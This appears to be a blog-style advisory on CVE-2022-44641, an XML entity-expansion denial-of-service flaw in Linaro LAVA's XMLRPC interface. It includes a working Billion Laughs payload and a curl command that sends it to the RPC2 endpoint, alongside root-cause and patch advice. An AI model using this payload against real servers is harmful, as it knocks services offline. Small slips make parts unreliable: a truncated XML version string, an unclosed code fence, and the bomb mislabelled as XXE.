The world of DevOps, CI/CD, and embedded testing relies on automation frameworks like Linaro Automated Validation Architecture (LAVA). However, a major security hole—CVE-2022-44641—highlights how even backend testing tools can harbor serious threats. In this post, we'll break down the details of this flaw, show you how the attack works, provide code snippets, and link you to more official information.

What is LAVA and Why Does It Matter?

LAVA is a system used to automate deployment, testing, and reporting for hardware devices. Organizations depend on LAVA to automatically test new software releases on a fleet of devices.

But... what if a security bug let a low-privilege user knock out the whole test lab?

Vulnerability Overview: CVE-2022-44641

Vulnerability ID: CVE-2022-44641  
Product: Linaro Automated Validation Architecture (LAVA)  
Affected Versions: Before 2022.11

Impact:  
If someone has regular credentials for a LAVA instance, they can send specially-crafted XMLRPC requests that cause "recursive XML entity expansion." This basically means that they trick the server into loading entities within entities—over and over—causing the memory usage to balloon out of control.

The result? Denial of Service (DoS)—the LAVA server can crash, freeze, or get extremely slow.

What is XML Entity Expansion (XXE)?

If you aren't familiar, the attack uses a type of XML vulnerability sometimes called Billion Laughs or XML bomb. By nesting XML entities, a small request can expand into gigabytes of data that eat up server resources.

Here's a simple, evil XML payload that exploits this issue using entity expansion

<?xml version="1."?>
<!DOCTYPE bomb [
  <!ENTITY a "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">
  <!ENTITY b "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;">
  <!ENTITY c "&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;">
  <!ENTITY d "ha">
]>
<methodCall>
  <methodName>system.listMethods</methodName>
  <params>
    <param>
      <value>&a;</value>
    </param>
  </params>
</methodCall>

By adding more levels, you push this up to megabytes or gigabytes of memory use—instantly.

If you send this XML with a valid session (login), LAVA before version 2022.11 would try to process it and basically overload itself. Boom: Denial of Service.

Original Vulnerability Reference

- NIST NVD: CVE-2022-44641 detail
- LAVA Official Issue: GitLab LAVA Merge Request 1647

Exploiting CVE-2022-44641 – Step-by-Step

> Only test on your own systems! Do not attack production or third-party servers.

`bash

curl -X POST http://lava-server.example.com/RPC2 -H "Content-Type: text/xml" --data-binary @xml-bomb.xml -u youruser:yourpass

Watch the Server Choke:

Monitor the server’s CPU and memory. You’ll see usage spike, possible service restarts, or total crash.

Why Does This Happen? (Technical Root Cause)

Prior to version 2022.11, LAVA’s XMLRPC handler used a Python XML parser without hard limits on entity nesting. Attackers take advantage of this by submitting giant chains of XML entities.

Fix method:  
LAVA maintainers patched this by disabling external and recursive entities in the parser. Always upgrade to at least LAVA 2022.11 or newer.

In Summary

CVE-2022-44641 in Linaro LAVA is a classic example of an out-dated XML parser leading to critical denial-of-service vulnerabilities. It's a simple but devastating attack using a small bit of crafted XML.

Protect your automation!  
Upgrade LAVA, review your parsers, and be cautious with any system that accepts XML or user-generated data.

- CVE-2022-44641 on NIST NVD
- LAVA Main Site
- Billion Laughs Attack (Wikipedia)
- GitLab LAVA Merge Request 1647 (The Fix)

Stay safe, and, as always—patch early, patch often!

Timeline

Published on: 11/18/2022 21:15:00 UTC
Last modified on: 02/01/2023 16:16:00 UTC